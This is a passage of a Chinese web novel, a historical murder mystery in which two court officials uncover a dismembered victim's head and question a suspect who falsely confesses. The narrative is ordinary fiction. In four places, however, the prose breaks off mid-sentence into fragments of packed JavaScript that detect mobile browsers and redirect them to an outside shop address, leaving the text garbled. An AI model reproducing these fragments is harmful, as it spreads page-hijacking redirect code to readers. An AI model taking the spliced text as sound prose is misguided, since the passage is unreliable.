潘家才闹了这么一出。 这个仆妇此事出门为何? “看到那个木桶了吗?”闻蝉抬了抬下巴。 “看到了,是什么宝贝让她非要在此时送出?” “还记得我吗那日吃过的酥山吗?” “唐琼花?” “是,那个木桶里装的应该是酥油。看来龚悠一直在帮唐琼花。” 郑观澜看着已经空荡的小门出神,还在想唐琼花的事情。 闻蝉拍了一下他的胳膊。 “走了!” …… 挂着“司马府”牌匾的大门紧闭着。 闻蝉看向郑观澜。 “你说说我们今日是什么运气?不会他们家也在争家产吧?” “司马家有孩子。” “啊?司马岳不是也在求子吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877870|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是没有嫡子。他妾室如云,庶出孩子还是有的。” 闻蝉咂咂嘴走上前敲门。 “麻烦的大族。” 这次有人应,可门还是没有开,只有人在内问道:“谁啊?” 语气满是戒备。 “大理寺。” “是……闻录事么?” “是我,我有事要问你们夫人。” “您稍等!稍等!” 一阵手忙脚乱的声音后,门才被缓缓打开了个缝。 一个中年仆人探头出来,打量了二人一眼。 “是郑评事和闻录事。” 他确认完。终于从门内走出,将门扇彻底敞开,毕恭毕敬迎着二人进去。 “是小的失礼了,二位请。” 二人一进门,那人立即转身搬起沉重的门闩把门锁上,又招来几个仆人指着门吩咐什么。 “你这是……要瓮中捉鳖?”闻蝉看他一副如临大敌的样子,觉得有些好笑。 仆人哈着腰解释道:“您误会了,这是……家里出了些事,不是针对二位的。夫人在后头,二位请。” “你们司马家又出什么事了?” 仆人沉默了片刻说道:“前几日有人来杀小郎君,之后又陆陆续续闹了许多事,家里人手少,只能先这样防备着。” “谁?竟然敢在司马家行凶?” 仆人抹了一把脸。 “不是小的污蔑人,这杀人的定然是阿郎那几个兄弟,想着要分家产。” “司马将军有儿子,还轮得到他们?” “死了不就没有了吗?”仆人微微抬起头,小声道:“阿郎的那几个兄弟都是穷凶极恶之人。” 郑观澜说道:“等回去我给表兄说一声。” 司马岳到底是肃王府出去的人,由肃王出面最是合适。 仆人感激涕零:“多谢郑评事为我们夫人做主。” 走到后院,只见紧闭的院子外头围了满满几圈人。 “人都在这儿了?” “府里现在只有女眷,夫人就将人手全部调过来了。”仆人解释完朝着里面喊了声,“夫人!是闻录事他们来啦!” 院门倏地打开。 只见十几个妇人都坐在正厅内,挤挤挨挨,旁边也是站得满满的仆人。 王有竹坐在主位,搂着两个五六岁的孩子。 两个孩子长得一模一样,只是一男一女,看来还是个龙凤胎。 她见了二人,很是意外。 “二位怎么来了?可是……” 闻蝉抬手打断她。 “方才去了一趟潘家,他们家里出了事。” 王有竹一听这话就急了。 “龚妹妹无碍吧?” “我到的时候,正好碰见潘家其他人打上门去。看潘家乱糟糟的,怕你们也有什么事,就来看看。” 王有竹立即对着仆人吩咐道:“找十个家丁去潘家守着,再给堂兄传个信。” 闻蝉笑道:“你们关系倒是不错。” 王有竹也很坦荡。 “我们相识多年,如今也……”她苦笑道,“都遭了横祸,也这算是守望相助了。” 闻蝉悄悄扫了一圈厅内之人,心里一跳。 这些妇人怎么都? 她按下心底的异样。 “夫人不必担忧,大理寺不会坐视不理。司马将军是朝廷栋梁,谁要敢欺他的妻儿,那就是打朝廷的脸。” 王有竹捂了捂心口。 “多谢闻录事仗义援手。我家这边还好,夫君留下的人手不少,家里也有孩子,只是怕她们家……” “夫人不必担忧。”闻蝉按了按她的肩膀,“一切自然是按照律法来的。” 她垂下眼,再次扫了一眼四周的妇人,心中颤颤。 “我们就先告辞了。” 40. 无口人头 “你瞧见了吗?”闻蝉的脚步飞快,暴露了她此刻内心的不宁。 “瘆人。” “那日你说王有竹和王有兰是姐妹,我还没有觉着意外,可你看看今日那一屋子的人,都长得跟亲姐妹似的!除了王有兰,每个人眉毛都有一颗痣,五官也是各有各的相似。”闻蝉捂住额头,“看得我脑壳疼。” “贱人!” 对方忽然出口的粗话,让闻蝉讶异。 她停下脚步看向他。 郑观澜面色沉沉,咬着牙,额头的青筋都若隐若现。 “你……你……怎么了?” 郑观澜吐出一口气。 “我还有事没有告诉你。” “什么事?” “我表姐,也就是薛焕的夫人和他们关系也十分密切,薛焕是土。” 闻蝉听了这话,只是看着他,一脸了然,没有丝毫意外。 “你……你早知道了?”郑观澜问道。 “等着你何时开口。” 郑观澜扭过头:“我之前是不确定。” “嗯嗯嗯,只是不确定。” 郑观澜转过身,正对着她。 “薛焕的尸体没找到。” 一直到今日,都没有出现其他尸块。 薛焕的死还不能直接下决定。 “我倒是有个想法。”闻蝉拉起他,“回去牵狗来!” …… 乐游原。 不远处,是灰瓦红墙的古寺,隐没在一片绿意之中。 舒缓的绿令人心旷神怡。 郑观澜收回视线,看着面前垮了一地的黄土方,十分疑惑。 乐游原这个地方,本就是赏景之地,能找到如同荒漠的一部分也算是本事了。 不远处,大黄耳正低着头在地上嗅闻着,大耳朵一抖一抖的,灰土被拱得扬起。 闻蝉侧身闪开,朝着他招手。 “你发什么愣啊?快点的!” 郑观澜抬脚踩过沙土,走了过去。 “你为何确定凶手会在此处抛尸?” 闻蝉边走边和他解释。 “凶手抛尸的规律和五行也有关系。你看啊,我们找到的第一个人头是潘铄,位置在醴泉坊一个枯水水井中,这是什么地方?” 枯水井……五行……醴泉坊? “无水之水?” “没错!醴泉坊坊内遍布泉水和酒坊,是属水之地,凶手故意把水命的潘铄放置在无水的属水之地,这也算是一种镇压。” “冯鄂是火吧?他的人头也在醴泉坊啊。” “属性本来就不是单一的,醴泉坊内还有不少砖窑,从这一点上来说。醴泉坊也可以被理解为属火,而废弃的砖窑就是无火之火。” “怀远坊是兵器弓弩交易之地,属金,废弃的铁匠铺就是无金之金,对应金命的司马岳。开明坊遍布竹林以及寺庙,属木,枯死的竹林就是无木之木,对应木命的柳济源。乐游原……” “乐游原是京城内最大的土塬,属土,垮掉的土方,就算是无土之土?” “自然。除了这里,我也想不到更适合的地方了。实在找不到也没办法……” 郑观澜顿住脚步。 “上面问责,也是我的错。” “啊?” 郑观澜看着她,重复了一边:“问责,就是我的错。” 闻蝉挑眉一笑,轻锤了一下他的肩膀。 “仗义啊!好上官。” 郑观澜摸着自己的肩膀。 力气真大,一下就锤得他浑身发麻…… “汪儿——汪儿——” 独属于大黄耳的叫声传来。 “找到了!” 二人立即循声跑过去。 郑观澜听得耳朵疼。 “大黄耳的叫声真的很像驴。” 闻蝉一脸骄傲:“我养的狗就是不一样,连叫声都那么与众不同!” 虽说叫声很大很清晰,二人却足足走了百步才找到大黄耳。 大黄耳此刻正在一片沙土中疯狂原地转圈,狗爪子刨得地面飞沙走石一般。 闻蝉立即刹住脚步,抬手喊道:“停停停停!” 这么大的灰等会儿得把她呛死! 好在,大黄耳十分听话,立刻乖乖坐到一边,用一双澄澈的大眼睛看这二人,尾巴在地上扫来扫去,摇得飞快。 闻蝉口头表扬。 “我们大黄耳是京城第一厉害的好狗!回去就给你加餐。” 郑观澜则是用行动表示,从随身的荷包里掏出几根肉干,蹲下身喂给它。 大黄耳吃得开心极了,耳朵一扇一扇的。 另外一边苦工闻蝉掏出铲子蹲在地上铲地。 一铲子刚撬开,她就“嚯”了一声。 “找对地方了,一股尸臭味!” 郑观澜大吸一口气。 什么都没有闻到。 “你们的鼻子怎么长的?” 闻蝉并未注意到,这话把她和狗算在了一块儿,还笑嘻嘻答道:“天赋。” 沙土松软,铲起来十分轻松。 闻蝉飞快向下铲了几铲子,直到铲子碰到一个软软的东西,她瞬间停下。 “完蛋,我刚刚太用力,好像把脑袋给弄坏了。” 郑观澜站起身,拍了拍衣角。 “弄坏了就弄坏了。” 坑里已经露出一块灰布。 闻蝉揪住灰布向外一扯。 一个袋子被扯了出来。 她打开一看,果然是个人头。 郑观澜后退一步。 这下他闻到那味儿了。 闻蝉捧起人头给郑观澜看。 “这是薛焕吗?” “是。”郑观澜摆手,“装好,看着就犯恶心。” 闻蝉看了一眼。 “还好啊,只是嘴巴被割掉了,防腐做得不错。”她一边把人头装好一边说道,“你呀,还算运气好,这个尸体已经算不恶心的了,凶手处理得很干净。” 郑观澜面无表情。 “我只是怕我控制不住,把这脑袋一脚踢飞。” 闻蝉把袋子向身后一藏,像是藏宝贝似的。 “冷静啊,我不帮他拼就是了,你可不能毁坏尸体。这违律啊。” 郑观澜深呼吸了几口气。 “其余的尸体应该就在周围了,我回去让人来找。” “我知道具体方位!”闻蝉眨眨眼。 “哦?” “人头在升平坊,那腰部就在其北面的宣平坊,腰在其东北新昌坊的西北角落,四肢肝脏在东南角,脾在其南的升道坊,躯干在立政坊西北角,心在东南角……”闻蝉扳着手指头一一数来。 “你确定?虽说之前分布也有规律,可你怎么连这些部位在哪个角落都知道?” “多亏了你今日拿来的书!”闻蝉拍了拍身上的灰,“好脏……” 方才她蹲在地上,又在铲地,吃了一身灰。 郑观澜掏出手帕,在她脸上擦了擦。 “跟大黄耳似的。” 闻蝉抬起头:“你才是狗呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882339|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 郑观澜手僵在半空中。 他……刚刚在干什么!!!! 闻蝉毫无所觉,一把拿过帕子把脸擦干净还扔了回去。 “谢啦!” 郑观澜把帕子揣好,很是沉默。 “你咋了?”闻蝉在前面喊着他,“回去了!” …… 闻蝉在薛焕的头顶找到了同样的钉子,钉子的花纹是一个树杈形状。 “金。金克土。” 关于尸体的秘密终于解开了。 “现在你可以告诉我,你怎么猜出尸块所在的位置了吧?”郑观澜面对着大门口问道。 “你就这么讨厌薛焕?”闻蝉看着他远远的背影发笑。 “是。快说。” 闻蝉一边收拾着一边说道:“还记得你今日拿来的书是什么书吗?” “医书。” “医道自‘天人感应’始,从《黄帝内经》开始,就以天文历法为基础发展,也因此,人体的每个部位都有其对应的天干地支,地支又能对应方位。你自己回想一下,那些尸块所在的位置是不是其地支对应方位?” “腰为子,子在北……”郑观澜恍然,“确实如此。” 闻蝉伸了个懒腰。 “总算是有点进展了,差不多明日,尸体才能找全。”她走到郑观澜跟前,“早些回去睡吧,辛苦你了。” “你……”郑观澜别开眼,声音小小的,“也辛苦。” …… 白色的丝帕上沾着黄色的尘土,污渍的形状边缘都像是张牙舞爪似的。 郑观澜倚靠在软榻上,捏着它。 乌玄不知道自己的主人怎么一回来就这副样子,竟然不摸摸自己,十分气恼。一口气跳上软榻,拱了拱他的手。 “哑巴猫。”郑观澜把丝帕放在手边小桌上,给乌玄挠了挠耳朵,抛给它一个草编小球。 乌玄叼着球,坐正了些。 是主人主动摸他的啊! 然而,不过片刻,乌玄就歪着身子躺在了郑观澜身侧,像一滩水似的,抱着小球,喉咙也发出了轻微的呼噜声。 这让郑观澜不由想起了前几日,乌玄遇到闻蝉的模样。 “咳。”他俯下身,在猫耳朵边轻声说道,“你是不是很喜欢那个闻蝉啊。” 乌玄浑身一抖,毛瞬间炸开,歪着跳下了软榻,夺门而出。 郑观澜失笑。 傻猫。 “主子?”成生从外面走进来,回头看了看,“乌玄又怎么了?” “不必管它。事情办得如何了?” “小的在肃王府门口碰见颜驸马了,颜驸马听了很是生气,说明日就亲自带人把司马家那些不老实都都捉去京兆府一趟。” “十六?他怎么在肃王府?” “义阳公主和肃王殿下挨着住的呀,驸马时常串门,小的都碰见好几次了。” “表兄和公主老是冲突,和十六倒是处得不错。” “颜驸马性子好又可爱,谁都喜欢嘛!闻娘子和他关系不也很好吗?” 郑观澜脸上的笑意一下消失得一干二净。 “慎言!” 成生一脸懵。 他说错什么了? “十六和她男女有别,又是公主的驸马,你这话传出去让旁人怎么想?” 成生瘪瘪嘴:“是,小的知错了。” 明明他只在主子面前这样说…… “下去吧。” “郎君……县主回来了,您不是说有事要找县主吗?” 41. 乐游青龙寺 郑观澜到的时候,父母都在,自己的弟弟也在。 “你怎么来了?”信安县主松开小儿子,对着大儿子问道。 郑观澜吩咐道:“袁婆婆,您先带十三去练字。” 这是有正事要说。 “我不去!”郑观宁哪里知道大人的潜台词,大声闹着,“我今日练过字了,哥哥欺负人!和那个姓闻的坏女人一起欺负我!” 郑观澜脸都黑了。 “谁教小郎君说的这些话!” 屋内的仆人跪了一大片。 “小的不敢!” “也不必练字了,上次的诫子书还没抄完吧?再加一百遍。”郑观澜的语气不容置疑,“什么时候抄完了再去学堂,其余时候就不要出院门了。” 几个仆人立即应下。 “是。” 郑观宁吓傻了。 “六郎!”郑士恒想要阻止。 “父亲,闻录事是朝廷命官。十三郎才几岁,就敢辱骂朝廷命官,您是想要整个京城的人都知道您教子不严吗?” 郑士恒闭了嘴。 “十三还小。”信安县主表情很难看,“不过是孩童之言,闻录事自己都不在意,你何必大发雷霆?” “那是她客气。母亲偌大年纪,听不懂别人是真不在意还是假客气吗?况,七岁,不小了。我七岁的时候若是敢辱骂朝廷命官,挨打都是轻的。母亲过于纵容十三郎,才教他现在如此不懂规矩不识礼节。如果母亲实在是管教不好,过几日,我把十三郎送去大伯父处。免得他长大后出去坏了郑家的名声。” “你敢!”信安县主一下怒了,拍着桌子站起身来。 “夫人!”郑士恒急忙挡在母子二人中间,打着圆场,“六郎也是为孩子好,别无他意。若非自己亲弟弟,他连口都不会开。” “都聋了吗?” 几个仆人本是更听他的,可女主人又如此动怒,一时为难不知该如何是好。 郑观澜直直看着他的母亲,眼中没有任何情绪。 信安却心里一慌,不由坐了回去。 郑士恒给她塞了一盏茶,朝着几个仆人说道:“还不快带小郎君下去,没听见六郎的吩咐吗?” 打发走了仆人,郑观澜还立在中间,郑士恒无奈和缓着语气。 “六郎先坐吧。” 郑观澜这才坐下。 “你手上那案子很是麻烦,今日好不容易有空回来,怎么不先去休息呢?”郑士恒问道。 “正是和案子有关。” “陛下又让人催了吗?”郑士恒锤了一下腿,“定然是那几家人去闹过了。真是不讲道理,这样的无头案,最是不好查,哪里有那么快!” “这倒没有,只是……”郑观澜看了一眼还恍惚着的母亲,“今日我们又找到一个死者。” “还有?!”郑士恒面露担忧,“是谁?不会是哪个大员吧?” “薛焕。” “薛大郎?!”信安县主声音尖利了起来,“怎么会是他?真的假的?能确定吗?” “我们今日找到了他的人头,是他无疑。” 信安县主像是失了力气一般,靠在椅背上,眼泪刷的一下就掉了下来。 “我可怜的蓓娘!这个杀千刀的薛焕怎么就死了呢?好歹留个种再死啊!” “夫人……”郑士恒觉着自己夫人这话实在是不像样。 信安县主却不管,骂得越发难听。 “早些年也不死,非现在死,真是个倒霉灾星!他一出生就该被掐死!” 在这件事上,母子俩态度一模一样。 郑观澜微微点头。 只有郑士恒说道:“夫人。薛家大郎成亲之后一直对蓓娘不错,家里就连妾室都没有一个,你这话说得……” “他该!没他蓓娘还不遭那么多难呢?他欠蓓娘的!”护短的信安县主此刻和炸毛的老虎没有区别。 “薛焕是别有用心。”郑观澜捏着手里的茶盏,指节都发白了。 “什么别有用心?”郑士恒疑惑。 郑观澜想到今日在司马家所见,越发恼怒。 “任表姐和广平公主很相似。” 薛焕那个贱人是把他表姐当替身了! 任蓓本就有皇家血脉,和广平相似也不奇怪。 夫妻二人从未觉得有什么,今日一听这话,才反应过来。 “好哇!难怪成亲的那日他都在甩脸子,成亲后立即变了嘴脸!”信安县主感到了深深的羞辱,“这个杀千刀的!活该他尸首不全!死了都被人宰割!” 温和如郑士恒也生出了几分怒气。 “这个薛焕,实在是不像样!” 郑观澜看着一脸愤愤的父母。 连他们都能看出来的事,局中人会不清楚吗? …… 闻蝉今日来得格外晚。 就连油糕还提在手上没来得及吃。 “嗬!”郑观澜挡在值房门口,像一座山。 执法如山的“山”。 “你来迟了。” “我在门口画卯的时候还没到卯时!”闻蝉大声道,“你可别想着找机会扣我俸禄!” 郑观澜转身推门走了进去,动作熟练得像是进自己屋。 闻蝉见他哑口无言,一下嚣张了起来,大摇大摆跟进去,把油糕往他面前一放。 “我还没吃呢。” 郑观澜皱眉。 闻蝉拿起油糕:“怎么?你来这么早,想必也还没吃,要不要来一个?今儿我刚好多买一个,舍给你?” “我不吃这些东西。”郑观澜嫌弃的皱了皱鼻子,“油腻过甜,你早食都吃这些?” “你以为我是你啊,早上起来还有人给你什么都备好?而且,油糕怎么了?好多百姓油糕都吃不起呢,我身子比你好。” 闻蝉上下瞥了他一眼。 “养生过度就会娇气,真遇到什么灾啊难啊,你这种娇贵人第一个倒。” “强词夺理。”郑观澜说道,“阴之所生,本在五味,阴之五宫,伤在五味。只有谨和五味,骨正筋柔,气血以流,腠理以密。才能气骨以精,谨道如法,长有天命。你不是读过《黄帝内经》吗?” 闻蝉拍了两下手。 “原来人得按照书上写的活着啊!” “不然读书做甚?” “我没读过书,我不识字。”闻蝉耍赖,一大口咬下油糕。 酥脆的油糕被咬得察察响,光是听就知道那股子味道有多香。 郑观澜别开眼。 “昨晚我回去想了一晚上,你说的没错,王夫人她们确实都有嫌疑。” “等等。”闻蝉几口把有糕解决完才说道,“想通了?” “钉子。” “五个人都是被钉子钉入脑内而死。不说潘铄他们三个,司马岳和冯鄂可是会武功的人,尤其是司马岳,他还上过战场,警惕性不低,怎么可能让外人近身?还毫无防备的被人钉了脑袋?” 闻蝉喝了口茶。 “凶手一定是死者信任之人,并且有足够条件抛尸,有足够能力分尸。” 说到此处,郑观澜说道:“我今日来后,详细查了一遍,发现了一个疑点。” “什么疑点?” “赵家是世代开医馆的,家中甚至还出过不少太医。” “龚悠表哥家?” “是,唐家也是卖草药发家的,两家只是后来才改做其他。” “看来这个唐琼花也有嫌疑。昨日我们在潘家不是瞧见了那个急着出门送东西的仆妇吗?东西定然是给唐琼花的,可见,龚悠和唐琼花之间并没有因为潘铄而闹翻,甚至关系很不错。” “赵家被害之事虽是由龚悠而起,可归根究底,错在潘铄,龚悠自己也是受害人。若唐琼花是个讲道理的人就不会把错算在她头上。” “还有尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885541|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐败程度,我们可以根据这个推断凶手的行踪让人去排查。” 闻蝉拿起书桌上的一摞验尸格目。 “按照时间顺序,最先被害的是潘铄,接着是司马岳,然后是柳济源、薛焕、冯鄂。我们假设他们失踪当日就被害。那……四月二十和二十一晚,凶手应当在平康坊。” 郑观澜补充道:“除去薛焕,柳济源他们三人最后被人看见也是在平康坊。” “那薛焕?” “青龙寺,四月二十三晚,他在青龙寺用完斋饭就消失了。” “凶手可能就住在平康坊附近。这……太远了,青龙寺和平康坊是很近,都在东市旁边,可醴泉坊和怀远坊都在西边了,开明坊距离也不近。”闻蝉愁得拍脑袋,“发现尸体的时间是四月二十五,他的动作也太快了。” “要么凶手能有办法突破宵禁,要么凶手能在白日里提着尸块大摇大摆走在路上还不招人怀疑。” “突破宵禁……”闻蝉喃喃着。 宵禁十分严格,一旦到了时辰,各个坊的坊门就会关闭,只能在坊内走动。一旦被抓到在宵禁时间外出,就是二十下的笞刑。 而特殊情况下,有什么公务紧急,人命关天或是婚丧嫁娶的大事,也是要提前报备的。 可……凶手抛尸定然是持续了数日,什么事儿也不可能天天有吧? “金吾卫。”郑观澜说道,“那日我们碰见了霍其彰,他还跟踪我们。” “确实,他也有作案的能力。不过,我现在更想去青龙寺看看。” “青龙寺?” “对啊,我很好奇,为何,其余人都是在平康坊失踪,只有薛焕是在青龙寺失踪的。而且……这几人都是求神拜佛的人,你说会不会和青龙寺有关?” …… 青龙寺香火十分旺盛,主持也是大忙人。 但一听说大理寺的人来了,他还是亲自出来接待。 “阿弥陀佛,郑施主,闻施主有礼。”主持语气带着些焦急,“二位可是为薛侯爷而来?” “正是。”闻蝉也不和他兜圈子,“薛侯爷失踪那日,是独自一人前来的吗?” “是,薛侯爷时常都是一人来……不过那日他没有带上仆人,往日他身边都是带着一个侍从的。”主持顿了顿,“昨日知晓此事后,贫僧想了一晚。今早才想起,薛侯爷那日是有些异常。他穿戴不似往常那样繁复,还拿了一个小包裹。而且,走的时候也没打招呼,悄无声息就走了,只在房内留下了香油钱。” “薛侯爷来此是求什么?” “贫僧不知。薛侯爷来庙中一般只是念念经文祷告一番就离开,其余的什么都不说。” “潘铄、司马岳、柳济源还有冯鄂来过吗?” “这几位也是常来的善信。”主持凝眉沉思片刻,“但在他们失踪时,贫僧没有见过他们。” 见他眉宇之间尽是焦急之色,该问的也问完了,闻蝉也不再留他。 “您可记得薛侯爷那日在哪个禅房?我们想自己去看看。” “就在前方,那排柳树下的左起第二间禅房。”主持作揖,“庙中事务繁忙,实在是对不住。二位自便,若有什么让人再来寻贫僧即可。” “有劳了。” 主持是真的忙,当即就离开了。 二人沿着游廊向前走着。 “薛焕喜欢排场,身上向来是挂得琳琅满目。主持方才所言确实是异于其常态。” “不仅如此,我还觉得……” 低沉的怪笑声桀桀似夜鸦。 闻蝉不由停下话头。 二人身侧是一个小小的殿宇,殿宇内放着一尊不大的千手观音像,怪笑声就是从这里传出的。 一个穿着灰布衣裳的男子蜷着身体贵在佛像前,浑身微微颤抖着。 “菩萨保佑菩萨保佑,柳济源那个畜牲终于死了,我们张家的仇也报了,我的姐姐……我的姐姐……” 42. 恩将仇报 “张思华,张弗的亲弟弟。”郑观澜走进禅房,开口将自己打听到的消息说出。 闻蝉很是不解。 “张家也是个大族吧?他怎么混成这样?” “不算什么大族。”郑观澜一撩衣角,坐了下来,“普通官宦人家。” “官宦人家也不可能这样吧?而且他姐姐不是张弗吗?为什么?” “柳济源迎娶梁王之女后,张家获罪,死的死流放的流放。。” “是梁王的女儿干的?” “让人问了,是柳济源自己。” “有病吧?别人张家招他惹他了?” “中山狼。张家最开始虽然供养他读书,但是并不愿意将女儿嫁给他,一直到他考中进士才松了口。” 闻蝉瘪瘪嘴。 “这也没啥错啊,他没出息,别人张家凭什么把自己女儿嫁给他呢?” “他若是如此想,就不会做出这样忘恩负义的事了。”郑观澜一脸不屑,“张家完全是被他构陷的,只有这个张思华因为年幼还未进入官场才逃过一劫。出事后,张弗将其托付在青龙寺躲藏长大。” “张思华他平日里在寺庙内做什么?” “帮着干点跑腿的杂活,主持说他人很老实,只是沉默了些,经常整日整日坐在石头上看着远方不出声。” 郑观澜摸出几张纸。 “这是你让我去找的名单。二十三那日,来过寺庙的人全在上面。” 闻蝉扫了一眼就看到了一个熟悉的名字——唐琼花。 “张思华住在何处?” “就在后山。” 狭小的院内堆放着不少柴火和成捆的艾草等药材,柴火堆前还放着一把斧头和铡刀。 闻蝉推开半关的柴门走了进去,直直走向那一口铡刀。 铡刀沾着姜黄色的粉末,细细的。 “你们是什么人!” 背后传来一个声音。 转头一看张思华站在院外,眼神满是敌意。 “要烧香去前面,禅房在北边。” 闻蝉动作一顿。 “你是张思华?张夫人的弟弟?” 张思华听了这话后退了好几步,眼睛微微鼓起。 “你们是谁?” “柳济源死了,我们大理寺正在查他的案子。” “他死了和我有什么相干?”张思华张了张嘴,像是想到了什么又紧紧闭上,不再开口。 闻蝉蹲下身,抹了一把那铡刀上的粉末放在鼻下嗅了嗅。 “你一个人住在这里?” “是。”张思华回答得极快,却不肯多说一个字。 “这铡刀是做什么的?” “处理药材。” “寺庙需要很多药材?” “要给信众分发药囊。” “原来如此。”闻蝉站起身,走到他的面前,露出一个笑,“打扰了。” 张思华闪身站在一边。 “二位慢走。” 郑观澜拉了拉闻蝉的衣袖。 闻蝉像是没有感觉到似的。 “走吧,郑评事。” 二人走出青龙寺后,郑观澜终于不用再忍。 “你之前说,死者创口断面都非常整齐,凶器应当是一把锋利的大刀。铡刀也算吧?” “就是铡刀没错。” “张思华那里就有铡刀!” “不仅有铡刀,铡刀上的香粉粉末和死者身上的味道一模一样。” “凶手是他?” “先抓起来再说。” 郑观澜听了这话立即转身准备折返去抓人,却被闻蝉一把拉住。 “你干嘛去?” “抓人啊。不是你说的吗?” 闻蝉蓦地一笑。 “就我们俩,去抓那个像只受惊的兔子似的张思华?你也不怕兔子蹬人直接跑了?” …… 大理寺的人动作很快,刚到晌午就把张思华抓进了监牢,卓啸还顺道撂下一摞写满了字的纸张。 “喏。他床底下搜出来的。” 第一张纸是一份名单,上面有一半的名字闻蝉都见过,是户部和兵部的人。 “这什么呀……” 郑观澜扫了一眼,说道:“张弗的父亲原来就是户部的郎中,他家的二叔是兵部主事。这名单上的人要么是二人的同僚要么是亲朋故旧。” “是和张家倒台有关?” 郑观澜主动道:“这件事我可以让下面的人去查。” 一个八品评事自然查不了这样的案子,可是郑家就不一定了。 闻蝉有些犹豫。 郑家这种大族牵扯最是复杂,若是让他去查……或许会事与愿违。 这点心思和顾虑,郑观澜看得出。 “我也有我自己的人,查这么点事还不用劳动我伯父。”他莫名来气,一把将纸张都拿了过去。 闻蝉手里一空,也不好真去抢。 “随你。” 二人侧着身,背对着背,气氛十分凝滞。 一旁的卓啸还犹嫌不足,添了把火。 “大理寺的事让郑家牵扯进来终究不好。简单的事都会变复杂。” 这话戳中了闻蝉的想法,她抿了抿嘴唇,想要开口附和。 “卓捕头是不是很清闲?”郑观澜的语调冷冷的,充满了明显的不快,“若是无事做,就再好好查查死者生前去过那些地方。” 卓啸毫不在意,抱着双臂,一脸傲然。 “这不是查过了吗?” “查过了,就一定是对的结果吗?平康坊附近可查过了?还有唐琼花和几个死者家中的夫人,她们在案发时间内去过何处做过什么,可查过了?” 卓啸答不上来。 “查别人夫人干嘛……” “让你查你就去。”郑观澜拉下脸,“卓捕头是不懂尊卑上下,准备抗命吗?” 闻蝉忽然起身:“都是大理寺的人!话何必说得如此难听。郑评事要吩咐人做事大可直说,差役品级是低于你我,可也是同僚。” 还护上了? 郑观澜看着并肩站着的二人,竟然有一种自己被排除在外的感觉。 “没事没事!”卓啸却笑眯眯说道,“阿蝉你不要和上官顶嘴,是我多嘴问话。” 他一边说一边向外退去。 “属下这就去办事,你们别为了这点事争执啊~” 声音越来越远,屋内一片寂静。 闻蝉缓缓坐下来,轻叹一口气。 “阎王好见,小鬼难缠。若要办事最离不得的就是差役这些小鬼,你若得罪了他们,他们面子上不会做什么,可背地里就说不准了。推三阻四,阳奉阴违,稀碎手段也够你喝一壶了。” 郑观澜心口那点气忽然散了。 “你是这个意思?” “不然我什么意思?”闻蝉一脸莫名。 “没什么……”郑观澜视线转移到手中的纸张上,“今日是我冲动了,我等会儿就让人去办,尽快把张家的事情理清楚。” …… 要到散值的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张思华瑟缩着。 “你管我去哪里。” “柳济源等四人都是傍晚时分在平康坊失踪的。” 听到柳济源的名字,张思华整个人都紧绷了起来。 “他的事和我有何干系!他作恶多端,迟早老天爷都要降下一道雷把他劈死!” “死去的几人都和你姐姐有关系,你应该知道吧?潘铄的夫人龚悠她们和你姐姐可是好友。你又和柳济源有仇,行踪也和几人失踪的时候重合,你自己说你有没有嫌疑?” “我是有嫌疑,但你们没有证据!”张思华思维倒是很敏捷,“凶器呢?证物呢?” “你的铡刀和凶器类似,上面还沾染着不少香料的粉末,那些香料和死者身上防腐的香料完全一致。” 张思华一下傻眼了,双手垂在身侧。 “什么?” “好了。”闻蝉忽然问起其他,“你那里会有旁人去吗?” 明明比方才的问题都更为温和,张思华却陷入了沉默之中。 闻蝉再次重复道:“你那里有哪些人去过。” “是,是我杀的。” 张思华抬起头,直视着二人。 “人,是我杀的,是我把他们杀了,为了给张家报仇。” 43. 死亡踪迹 郑观澜停下笔。 “柳济源和你有仇,其他人也有?” “顺手,反正他们也不是什么好东西。” 郑观澜嘲讽道:“顺手,但却先杀了潘铄?” “对……对啊,是顺手。”张思华结巴了起来。 闻蝉敲了敲桌子。 “那你说说,你是怎么杀的他们?” 张思华眯起眼,看似一脸凶狠。 “就……毒死他们,然后……” 闻蝉拍了一下桌子。 “够了!” 张思华僵在原处,一双大眼惶恐地看着她。 “看在张家所受的冤屈上,我不计较你冒认罪行的事,但你想要张家洗清冤屈,就不要再继续胡说,我知道,凶手绝非是你。” “洗……洗冤……冤?”张思华犹疑不定。 